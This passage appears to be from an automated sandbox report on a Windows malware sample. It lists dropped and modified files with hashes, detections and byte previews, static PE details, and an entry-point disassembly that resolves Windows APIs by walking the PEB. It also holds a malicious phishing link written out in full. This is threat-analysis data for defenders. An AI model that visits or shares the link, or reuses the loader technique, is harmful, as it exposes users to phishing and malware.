	b6f90f3c2a3ee2ba6791c9c15670964e370639b531481a294e7b89d800e1ca40.exe	Get hash	malicious	Bdaejec, BlackMoon	Browse	44.221.84.105
	http://links-sg.dispatch.me/ls/click?upn=u001.ocQe0-2BgliqpF-2FIgZypM8KOaLflKjBlvqTxtPZw5yZIbZDE9vmulRwrCjHKmWRDNHjHXGC5bjX16p-2FKQbudETcReyH2ada0TDTZ9i4Fm9kQ3GWUyvzzwMCdcEUqs-2FTSCobKxgzuisHVBsQ-2FSQ3F13H5HutCQALtWrS8HApt5o4dpZ-2BNvuOuxFwx-2BeObsn6VjvT5TqPLkexi4iH5KEJi8Cdw-3D-3DATrr_-2F-2F-2B-2FxnH7VwZ7l1bJN-2FhVOPk1U24fPXiT0lCeCqmBBxzunHzzBZhASjEPhdfcYmgfhvKPgbmfCcNO0asuCAP4GQjxIDFltQt0zztHT0pZkzXqKtFgdxgdlGrzT0WJ21THn3P5UyhAiKGRx3slicqJyrWBw4wmTjosxdLpPvzT9mOZ9tFtj-2FYpdJbLEVcqfFG3PWdvMJHnhRGcQ-2BjkZifTwg-3D-3D	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	54.87.89.151
	B7529C27C65C9F3CD9DDCE5C6C8C193D258E8F54D8C11E9DB618FEEC3CB9258B.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\E2EECore.2.7.2.dll	LlzSY5b5yY.exe	Get hash	malicious	Unknown	Browse
	LlzSY5b5yY.exe	Get hash	malicious	Unknown	Browse
	dNHmdKBL0t.exe	Get hash	malicious	Unknown	Browse
	dNHmdKBL0t.exe	Get hash	malicious	Unknown	Browse
	dNHmdKBL0t.exe	Get hash	malicious	Unknown	Browse
	evilpassword.exe	Get hash	malicious	Unknown	Browse
	gm_pin.exe	Get hash	malicious	Unknown	Browse
	GM_anti-theft_password.exe	Get hash	malicious	Unknown	Browse
	#U8d22#U795e#U52a9#U624b2.4.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	6.591085255544899
Encrypted:	false
SSDEEP:	384:1FiSMXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:TsQGPL4vzZq2o9W7GsxBbPr
MD5:	CE3711B837D78ACBEBC27E24F811AB3B
SHA1:	D66AD1B81D8E20C48F2762059279DEAD23035166
SHA-256:	700089133E411F19821C21FEB52AAC39488C0A774D54965336001476C6E6041C
SHA-512:	EF8B2AA9B0946D1F5F38C53755BD7918143CD7D3FA1839CB962CAE01EE3E6FA43B210252F3171174FAAB4670E9C517F34551E3FACED3F4DD813E11B722A53254
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y\|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2389504
Entropy (8bit):	6.731349265934764
Encrypted:	false
SSDEEP:	49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
MD5:	A15C53B12DBF4F3989AFFED5EE0CD72C
SHA1:	7951FE0B87D4C4A7F8CEC244F6E51711A38EB0F9
SHA-256:	764816A579138E72D0C5E9295C8B66EEEF32DF03C3FDFE7D7B24240427DA37A8
SHA-512:	E7AE0823F62ABFBC87072CD1F264F20ED0137CE30918F1CD109C3EAB396693F3DA3EE8FE967DFC49E990B0C9E10BC4B49A6BF5CBD6255F59C7CD5382EA19EF09
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	6.366106543944447
Encrypted:	false
SSDEEP:	768:uWQ3655Kv1X/qY1MSdMuQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdMVGCq2iW7z
MD5:	D8D240E0A2F5E5AA13F70F3F76CDF39F
SHA1:	8B4130A9ABCC33B59F436F4632F51588EA8741AF
SHA-256:	11797648A3764375B48527894C6DBE863886C978793A5F3F8A854A242F73967C
SHA-512:	2EDA42A0E4EB53B82AD535B440F57027CE076EB72522151BF7BEAF61483F77BBDB209E8F2A44B2AD16AACD7EF83DB75FCE36A627963A7EDDCA756DBCC62B14ED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_XFAGWZ.exe_957b89824991c68958fc10391144288a155074e4_f19a995c_a048fb85-7e30-4984-b3a2-a157f2560227\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9749434271024817
Encrypted:	false
SSDEEP:	96:U7FxIGznNYsghnK7afzQXIDcQgc6n2cEzcw3Ig+HbHg/5ksS/YyNl1zWDUTuFqLP:mTvznNYS0+j2Z2jE/JXzuiFdZ24IO8d
MD5:	30DCB615D105FDDD158B906E178EB296
SHA1:	F04CA4C57116595E3CC2C4227EC79D4F5D4B15DD
SHA-256:	4DF8682F437014FE528AEC5909CA71AD9F481F09B7D43838A78FD22A647D7AB1
SHA-512:	55D4549BA28EBB44C6CA52F4A1B39823FCA7D9882923A9F035B99C4AED742B539C2756E49AB28D7C1D5330B80762892480E01C759F7EDF9610B6638486F8D265
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.3.3.1.3.4.8.3.3.3.9.6.9.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.3.3.1.3.4.8.8.9.6.4.6.6.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.0.4.8.f.b.8.5.-.7.e.3.0.-.4.9.8.4.-.b.3.a.2.-.a.1.5.7.f.2.5.6.0.2.2.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.e.1.1.0.9.f.b.-.1.b.0.d.-.4.6.e.5.-.9.d.5.3.-.d.9.b.3.b.2.b.5.1.9.f.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.X.F.A.G.W.Z...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.e.c.-.0.0.0.1.-.0.0.1.4.-.9.d.6.2.-.f.a.4.b.1.3.d.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.9.2.2.0.7.5.9.e.9.b.8.e.1.1.b.8.9.f.a.e.2.e.0.2.4.b.3.9.6.e.e.0.0.0.0.f.f.f.f.!.0.0.0.0.9.9.e.e.3.1.c.d.4.b.0.d.6.a.4.b.6.2.7.7.9.d.a.3.6.e.0.e.e.e.c.d.d.8.0.5.8.9.f.c.!.X.F.A.G.W.Z...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER70F0.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Jul 24 21:49:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	162206
Entropy (8bit):	1.8387660480578405
Encrypted:	false
SSDEEP:	768:Ax2h9nslsgI4aC/q76EXws40SS/QKGgr:Gf7vaCo6sHZpr
MD5:	5888818B51192B6E4206A8389E64B6C8
SHA1:	4E5637D784F7148DA7943AE93412B7EBF742B32B
SHA-256:	4E3F31EB9EA43E91C47A50F79AC08C6A85A45CB41D07824ABEF61137D22513AD
SHA-512:	AA35112BFE6650617FC64C3168C4401F682C588804ECBB7AA0E6A43763FCE14064536334A6001A8E59BC40F026E38BC9633908B76BBCC81DF8E8F3942CCA45C3
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........v.f............t.......................<...T ......d....P..........`.......8...........T............=...;........... ..........\|"..............................................................................eJ.......#......GenuineIntel............T............v.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7239.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8272
Entropy (8bit):	3.6999061397655053
Encrypted:	false
SSDEEP:	192:R6l7wVeJRo64VQe6Y8H65kGgmfGmApDT89bxEsf0pvQbm:R6lXJe6E6YM65VgmfGmJx3fQJ
MD5:	97801AEF98CBF4FDCE62A4E94142D717
SHA1:	F8A42B215E2A4BFEFC2FE6D67EE29562A0E97DEF
SHA-256:	FA73F89AAA281D0510690D093171A1D0CFE659265D19A499DA4456EE9B61C9C9
SHA-512:	13CF2C73EF0A3D8E341BE4EED5243925D992C1A0AF4B61CF80D549081BD4E23A5090739D52747E51FB0B46911C9BD98C526A4DD3286444F72B7FCF2F854A3D25
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.3.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7278.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4551
Entropy (8bit):	4.462838691168284
Encrypted:	false
SSDEEP:	48:cvIwWl8zsuJg77aI9v1yWpW8VYcYm8M4J8MF3+q8uX3EngoTd:uIjfkI7xV7VQJbP0ngoTd
MD5:	FE5B9DC59E474CB047FC237905FD0C4F
SHA1:	BD216F46544C313CEC236FE2B592EA5B85441B25
SHA-256:	E299DA9F4F383B7F22A15E293121461DA5D0B74A09F107E927FBD863C51D3A35
SHA-512:	0C191E272592720E6CE1B46C5C998F7A73D287119245C4CB38D758E7CB4B7AF8F7D4CE33A23F1302625E5866BEF3CA5DA4D77FD58368538D298022759E240123
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="425571" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\k1[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	foo.

C:\Users\user\AppData\Local\Temp\5D307811.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	foo.

C:\Users\user\AppData\Local\Temp\E2EECore.2.7.2.dll

Download File

Process:	C:\Users\user\Desktop\8VB4lVuZk3.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8824320
Entropy (8bit):	6.798757148754891
Encrypted:	false
SSDEEP:	98304:z0PpiCcXz5iqFaFxZkyE2kCeQ+LDSBRAN9ijNnQobT9wdxd+tNrspBAUZLh7ZV/T:QyDBaFxZNb+LwRAN9w1X9wdxrpV9/J
MD5:	8B6C94BBDBFB213E94A5DCB4FAC28CE3
SHA1:	B56102CA4F03556F387F8B30E2B404EFABE0CB65
SHA-256:	982A177924762F270B36FE34C7D6847392B48AE53151DC2011078DCEEF487A53
SHA-512:	9D6D63B5D8CF7A978D7E91126D7A343C2F7ACD00022DA9D692F63E50835FDD84A59A93328564F10622F2B1F6ADFD7FEBDD98B8DDB294D0754ED45CC9C165D25A
Malicious:	true
Joe Sandbox View:	Filename: LlzSY5b5yY.exe, Detection: malicious, Browse Filename: LlzSY5b5yY.exe, Detection: malicious, Browse Filename: dNHmdKBL0t.exe, Detection: malicious, Browse Filename: dNHmdKBL0t.exe, Detection: malicious, Browse Filename: dNHmdKBL0t.exe, Detection: malicious, Browse Filename: evilpassword.exe, Detection: malicious, Browse Filename: gm_pin.exe, Detection: malicious, Browse Filename: GM_anti-theft_password.exe, Detection: malicious, Browse Filename: #U8d22#U795e#U52a9#U624b2.4.exe, Detection: malicious, Browse
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........j,..B...B...B..s....B..Z....B..r....B.......B..Y....B..Y....B..Y....B..s...B...C...B.".....B.".....B.".....B.".....B..Y....B......B.".....B.Rich..B.................PE..L...l .^...........!......U...6......F.......U...........................................@..........................7\|.......\|.,........8...................0...U...U.....................$.v......v.@.............U..............................text...K.U.......U................. ..`.rdata..b;'...U..<'...U.............@..@.data.........\|..L....\|.............@....tls................................@....rsrc....8.......:..................@..@.reloc...U...0...V...P..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Download File

Process:	C:\Users\user\Desktop\8VB4lVuZk3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	7.031113762428177
Encrypted:	false
SSDEEP:	384:7XZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:1QGPL4vzZq2o9W7GsxBbPr
MD5:	56B2C3810DBA2E939A8BB9FA36D3CF96
SHA1:	99EE31CD4B0D6A4B62779DA36E0EEECDD80589FC
SHA-256:	4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07
SHA-512:	27812A9A034D7BD2CA73B337AE9E0B6DC79C38CFD1A2C6AC9D125D3CC8FA563C401A40D22155811D5054E5BAA8CF8C8E7E03925F25FA856A9BA9DEA708D15B4E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.I.>.'.>.'.>.'..7\.2.'...(.?.'.>.&.y.'.Q.#.=.'..).?.'.7...6.'.7...?.'.Rich>.'.................PE..L...JG.R.............................`.......0....@.......................................@..................................p...............................o.......................................................................................text.... ..........................`....rdata.......0......................@....data........@......................@....reloc.......P.......(..............@....aspack.. ...`.......,..............`....adata...............>..............@...................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465999491658245
Encrypted:	false
SSDEEP:	6144:7IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN3dwBCswSbn:cXD94+WlLZMM6YFHF+n
MD5:	55167F82A7EC0834E8517098699C02B2
SHA1:	14E0F105A0ECBF76C57AFB7AE9ABE71F5C830061
SHA-256:	EB4DCBDAEBD5BF9E9F25B194C906CD29D0E4980FF8C01EAB3C685309C6C13B67
SHA-512:	5E750562218CA12875135A5F8BC1243640203C9797F8BA3EAF8C595B19C54F29E1EB8C2F07D0BC7D2EDCD2F322E8B248CC208C4E5B825F06EEC6CA093317D202
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.T.L................................................................................................................................................................................................................................................................................................................................................c..x........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.762726805131574
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8VB4lVuZk3.exe
File size:	4'354'058 bytes
MD5:	51309d30f3fb3295fea0b6d3084c4d26
SHA1:	86601e2b6b32ee19c3072221c75ac009165226b7
SHA256:	bf6ee92cf97d4193943cd99de27b17c4dbd27885cc0a3152b32d2cd97cffb873
SHA512:	73522e0d402ebd24813c8a9c924946385f8169a8554adda3941eade92fae4c85ab875453275989b88de7d3d9da4a715014a3ce79ee05898e6392ecc216ac9a60
SSDEEP:	49152:XJu1FGR8ETrtVEgHztu+thX44ifGJtSqeQLgza6BDm5TN+IMUu9+d1cL+0:ZuTGR8cVzArOSqeDalc6dc
TLSH:	D0160141B68344F2E824293005F39B3AEF7196975B21C6876395DE2C3EB2351F9372E9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............E...E...E...E...E...E...EJ..E...E...E...E...E...E...E...E...E...E...E...E...E...E!..E...E!..E...E...E...E...E...E6..E...

File Icon


Icon Hash:	0e061b160643cbcb

Static PE Info

General

Entrypoint:	0x856000
Entrypoint Section:	ub
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x6486E31D [Mon Jun 12 09:19:25 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7e5055e656d0de769c5445ff3953d089

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 0000016Ch
xor eax, eax
push ebx
push esi
push edi
mov dword ptr [ebp-24h], eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-08h], eax
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-48h], 47414658h
mov dword ptr [ebp-44h], 652E5A57h
mov dword ptr [ebp-40h], 00006578h
mov dword ptr [ebp-3Ch], 00000000h
call 00007F2584E502C5h
pop eax
add eax, 00000225h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr fs:[00000030h]
mov dword ptr [ebp-28h], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax], E904C483h
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax+04h], FFC489DCh
mov eax, dword ptr [ebp-28h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+1Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+08h]
mov ecx, dword ptr [eax+3Ch]
mov ecx, dword ptr [ecx+eax+78h]
add ecx, eax
mov edi, dword ptr [ecx+1Ch]
mov ebx, dword ptr [ecx+20h]
mov esi, dword ptr [ecx+24h]
mov ecx, dword ptr [ecx+18h]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword ptr [ebp-30h], esi
mov dword ptr [ebp-1Ch], edx
mov dword ptr [ebp-34h], ecx
cmp edx, dword ptr [ebp-34h]
jnc 00007F2584E5040Eh
movzx ecx, word ptr [esi+edx*2]
mov edx, dword ptr [ebx+edx*4]
mov esi, dword ptr [edi+ecx*4]
add edx, eax
mov ecx, dword ptr [edx]
add esi, eax
cmp ecx, 4D746547h
jne 00007F2584E50314h
cmp dword ptr [edx+04h], 6C75646Fh
jne 00007F2584E5030Bh

Rich Headers

Programming Language:

[C++] VS98 (6.0) SP6 build 8804
[ C ] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) build 8168
[ C ] VS98 (6.0) build 8168
[EXP] VC++ 6.0 SP5 build 8804
[LNK] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xe6650	0x180	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe41b8	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x173000	0x2e246c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc4000	0x730	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc2455	0xc3000	79bd633a79fb5f039c4e84cafadc1d75	False	0.49658954326923077	data	6.540632015181998	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc4000	0x227d0	0x23000	b69d5a4a746a98d1b5331ec1a596b6a2	False	0.3810407366071429	data	5.3119644973523465	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xe7000	0x8b778	0x58000	131c4b1609393abf97e6ce07255c7f51	False	0.3206731622869318	data	6.202879261178366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x173000	0x2e246c	0x2e3000	ff82455577828a8fb15be6e83376e91b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
ub	0x456000	0x5000	0x5000	b4fcd596df60986058b89a35231bcb2a	False	0.642431640625	data	6.037759798580667	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
DLL	0x173c60	0x2d91ae	data	Chinese	China	1.0003108978271484
TEXTINCLUDE	0x44ce10	0xb	ASCII text, with no line terminators	Chinese	China	1.7272727272727273
TEXTINCLUDE	0x44ce1c	0x16	data	Chinese	China	1.3636363636363635
TEXTINCLUDE	0x44ce34	0x151	C source, ASCII text, with CRLF line terminators	Chinese	China	0.6201780415430267
RT_CURSOR	0x44cf88	0x134	data	Chinese	China	0.5811688311688312
RT_CURSOR	0x44d0bc	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	Chinese	China	0.37662337662337664
RT_CURSOR	0x44d1f0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4805194805194805
RT_CURSOR	0x44d324	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	Chinese	China	0.7
RT_BITMAP	0x44d3d8	0x16c	Device independent bitmap graphic, 39 x 13 x 4, image size 260	Chinese	China	0.3598901098901099
RT_BITMAP	0x44d544	0x248	Device independent bitmap graphic, 64 x 15 x 4, image size 480	Chinese	China	0.3407534246575342
RT_BITMAP	0x44d78c	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.4444444444444444
RT_BITMAP	0x44d8d0	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.26453488372093026
